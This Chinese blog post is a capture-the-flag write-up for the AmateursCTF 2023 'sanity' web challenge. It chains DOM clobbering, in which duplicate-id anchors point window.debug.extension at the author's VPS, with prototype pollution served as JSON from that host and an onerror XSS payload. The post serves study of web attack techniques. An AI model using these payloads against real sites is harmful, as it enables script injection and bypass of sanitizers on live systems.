Loading

AmateursCTF 2023-sanity

 if (window.debug?.extension) {
                    let res = await fetch(window.debug?.extension.toString());
                    extension = await res.json();
                }

对于这题第一个点就是如何通过这个判断。题目有个地方可以插入任意的前端代码,但是有个sanitizer会过滤掉危险字符,所以直接绕过它实现xss不可行。

但是对于通过这个判断所需要字符不会触发sanitizer。该判断检测是否存在window.debug.extension。这里就需要用dom破坏来构造覆盖

直接插入

<a id='debug'>a</a>
<a id='debug'>b</a>

 

可以看到对于id相同的两个标签,取值的时候取的是数组

同时对于这个数组除了序号,也可以通过name取值

这样我们可以构造

<a id="debug"></a><a id="debug" name="extension" href="//vps"></a>

让它访问我们的vps即可。

 接下来注意到

如果debug.sanitize为flase,可以不检查插入,即可完成XSS。

debug类是通过Object.assign有个合并的过程,这里就可以原型链污染。 这里的extension是可控的内容是我们vps的访问内容。

在vps上挂上

{"__proto__":{"sanitize":false}}

即可实现原型链污染。

 

但是注意这里sanitize是一个私有变量(加了#),在合并过程中发现无论合并的是啥都会导致#sanitize消失,然后通过判断。。。

(第一个是合并后,与下面那个没合并的对照,可以发现即使传入没有覆盖sanitize,也会导致sanitize变量直接消失)

 

通过这个判断后直接XSS即可,注意

由于js页面打开后按顺序执行,这里inner后不会重新加载执行,通过图片报错实现XSS

<img src=x onerror=alert(1)>

但是最终没收到flag,可能是比赛结束了题目环境变了。

不得不说国外比赛discord上wp放的很快结束当天就可以尝试复现了。

 

 
posted @ 2023-07-22 16:58  Aninock  阅读(28)  评论(0编辑  收藏  举报